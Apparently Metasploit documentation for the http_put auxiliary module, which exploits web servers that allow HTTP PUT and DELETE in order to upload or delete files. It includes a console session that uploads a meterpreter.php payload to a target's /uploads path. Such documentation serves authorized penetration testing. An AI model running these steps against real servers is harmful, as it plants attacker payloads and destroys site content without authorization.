1.7 KiB
1.7 KiB
Description
This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests.
Verification Steps
- Do:
use auxiliary/scanner/http/http_put
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
set PATH [PATH]
- Do:
set FILENAME [FILENAME]
- Do:
set FILEDATA [PATH]
- Do:
run
Options
ACTION
Set ACTION
to either PUT
or DELETE
. (Default: PUT
)
PUT
Action is set to PUT to upload files to the server. If FILENAME
isn't specified, the module will generate a random string as a .txt file.
DELETE
Deletes the file specified in the FILENAME
option (Default: msf_http_put_test.txt
). FILENAME
is required when Action is set to DELETE.
PATH
The path at which this module will attempt to either PUT the content or DELETE it.
FILEDATA
The content to put in the uploaded file when ACTION
is set to PUT
.
Scenarios
Here ACTION
is by default set to PUT
.
msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
RHOSTS => 1.1.1.23
msf auxiliary(scanner/http/http_put) > set RPORT 8585
RPORT => 8585
msf auxiliary(scanner/http/http_put) > set PATH /uploads
PATH => /uploads
msf auxiliary(scanner/http/http_put) > set FILENAME meterpreter.php
FILENAME => meterpreter.php
msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpreter.php
FILEDATA => file://root/Desktop/meterpreter.php
msf auxiliary(scanner/http/http_put) > run
[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_put) >